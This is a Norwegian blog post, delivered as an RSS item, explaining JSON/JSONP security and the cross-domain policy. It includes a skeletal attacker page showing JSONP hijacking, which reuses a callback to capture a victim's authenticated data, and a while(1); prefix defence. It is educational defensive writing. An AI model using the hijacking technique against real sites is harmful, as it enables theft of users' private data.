		<dc:creator>Erlend Oftedal</dc:creator>
				<category><![CDATA[BEKK]]></category>
		<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[json]]></category>
		<category><![CDATA[jsonp]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=1311</guid>
		<description><![CDATA[Bruk av JSON, og da spesielt JSONp, innfører noen sikkerhetsproblemer dersom vi ikke bruker det riktig. Posten JSON-ressurser og eksempel JavaScript-kode beskrev hvordan man kan bruke JSON som dataformat når man laster inn data via javascript, og nederst i artikkelen ble det gitt en advarsel i forhold til sikkerhet. Dersom man bruker JSONp (&#8220;JSON with [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Bruk av JSON, og da spesielt JSONp, innfører noen sikkerhetsproblemer dersom vi ikke bruker det riktig.</strong></p>
<p>Posten <a href="http://open.bekk.no/2009/03/27/json-ressurser-og-eksempel-javascript-kode/">JSON-ressurser og eksempel JavaScript-kode</a> beskrev hvordan man kan bruke JSON som dataformat når man laster inn data via javascript, og nederst i artikkelen ble det gitt en advarsel i forhold til sikkerhet. Dersom man bruker <a href="http://en.wikipedia.org/wiki/JSON#JSONP">JSONp</a> (&#8220;JSON with padding&#8221; &#8211; et JSON script som inneholder en callback funksjon) med dynamiske script tagger (script-tagger legges inn i DOM av javascript), må man passe seg når man overfører sensitive data som krever autentisering.</p>
<h2>Cross domain policy &#8211; reddende engel eller fiende?</h2>
<p>Alle de vanligste browserne implementerer en policy for kjøring av javascript kalt Cross Domain Policy. Cross domain policy sier bl.a. at javascript i et vindu kun kan lese innhold i andre vinduer/tabber/frames/iframes dersom innholdet i begge vinduer kommer fra samme server og er overført over samme protokoll. For å kunne kommunisere må altså begge URLer ha samme hostnavn, samme portnummer og begge enten benytte http eller https. Man kan overstyre hostnavn-restriksjonen til å gjelde domene ved å sette document.domain i begge vinduer.</p>
<p>Denne policyen gjelder også for AJAX-kall (XmlHttpRequest), der den sier at man kun kan gjøre AJAX-kall tilbake til samme hostnavn, port og over samme protokoll. Dette vil riktignok bli endret i nyere versjoner av f.eks. Firefox og IE8, der man vil tillate AJAX-kall innenfor samme domene (<a href="http://msdn.microsoft.com/en-us/library/cc288060%28VS.85%29.aspx">XDomainRequest</a>).</p>
<p>Mange frustrere utviklere har slitt med Cross Domain Policy, men det er en svært god grunn til at den er der. Uten den ville internett vært et svært utrygt sted. Dersom man hadde besøkt en hacket side, kunne denne siden opprettet en iframe til f.eks. gmail og lest din mail via javascript. Cross Domain Policy hindrer dette, og den eneste muligheten en hacker har til å komme rundt denne policy er å utnytte såkalte <a href="http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29">Cross Site Scripting (XSS)</a>-hull i applikasjonen (og det har du vel ikke?).</p>
<p>Ved å legge inn dynamiske script tagger som igjen kaller en callback på egen side, omgår man Cross Domain Policyen, og dette er det viktig å være klar over. Man lar et script fra et domene påvirke innholdet i siden på et annet domene direkte i browseren. Det er umulig å styre hva dette skriptet gjør, så man bør tenke seg om før man legger inn en script-tag til et domene man ikke selv eier.</p>
<h2>JSONp hijacking</h2>
<p>Hvorfor er dette farlig? La oss tenke oss at vi har en side (http://eksempel/transactionlist) som laster inn sensitive data via JSONp eller AJAX-kall (http://eksempel/transactions/json) og kaller en callback funksjon:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">showTransactions<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> ... <span style="color: #660066;">json</span> data ... <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Selve JSON innholdet på http://eksempel/transactions/json krever at brukeren er autentisert. Brukeren logger seg inn på http://eksempel/transactionlist, og får en autentiserings-cookie (f.eks. sesjonsID) i browseren. Siden det er en cookie, vil browseren automatisk sende denne med for hvert AJAX eller JSONp kall til URLer som begynner med http://eksempel/<br />
Selve siden vår, http://eksempel/transactionlist, kan f.eks. se slik ut:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
...
&lt;script type=&quot;text/javascript&quot;&gt;
function showTransactions(jsondata) {
   ... vis html tabell over transaksjonene ...
}
&lt;/script&gt;
&lt;script src=&quot;http://eksempel/transactions/json&quot;&gt;&lt;/script&gt; 
...</pre></div></div>

<p>For å utnytte dette, kan en hacker opprette en egen side som definerer den samme callback-funksjonen:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
...
&lt;script type=&quot;text/javascript&quot;&gt;
function showTransactions(jsondata) {
   ... send data til hackers server ...
}
&lt;/script&gt;
&lt;script src=&quot;http://eksempel/transactions/json&quot;&gt;&lt;/script&gt;
...</pre></div></div>

<p>Når hackeren nå legger inn en script tag som peker til vår server, vil browseren forsøke å laste innholdet. Dersom den klarer det, vil den kjøre callbacken med innholdet, og innholdet vil bli stjålet. Hvis hackeren nå klarer å lure oss til å besøke siden hans, og vi er logget inn på vår originale side (noe vi ofte er når vi kjører browsere med mange faner), vil innholdet vårt bli stjålet. Dette er en form for <a href="http://www.owasp.org/index.php/XSRF">Cross Site Request Forgery (XSRF)</a>.</p>
<h2>Hvordan kan jeg beskytte meg?</h2>
<p>Dersom man ønsker å bruke JSONp, men laster den fra egen server, er det enkelt å beskytte seg. I stedenfor å laste JSON innholdet via en dynamisk script-tag, kan vi laste det via AJAX (XmlHttpRequest). Først i hver json-respons legger vi inn f.eks. et kommentartegn, ugyldig kode, eller kode som kjører uendelig lenge. Google benytter f.eks. while(1);. Dette kan vi bruke slik:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">while</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
showTransactions<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> ... <span style="color: #660066;">json</span> data ... <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Når vi får tilbake resultatet fra AJAX-kallet, fjerner vi første linje, og kjører så resten.</p>
<p>Dersom en hacker igjen forsøker å stjele innholdet, har han ingen mulighet til å fjerne while(1)-linjen. Når man bruker script-tagger, som hackeren må gjøre for å omgå Cross Domain Policy, har man ikke mulighet til å endre innholdet før det kjøres. Scriptet kjøres direkte med en gang det er lastet, og det er ikke mulig å lese ut hva som egentlig var innholdet i scriptet som ble lastet inn.</p>
<h2>Oppsummert</h2>
<p>Bruk kun JSONp med dynamiske script-tagger til data som ikke krever autentisering eller data som ikke er spesielt sensitive. Dersom du skal bruke JSONp for denne typen innhold, må du sørge for å beskytte det og heller laste det via XmlHttpRequest (AJAX).</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/json-ajax-og-sikkerhet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

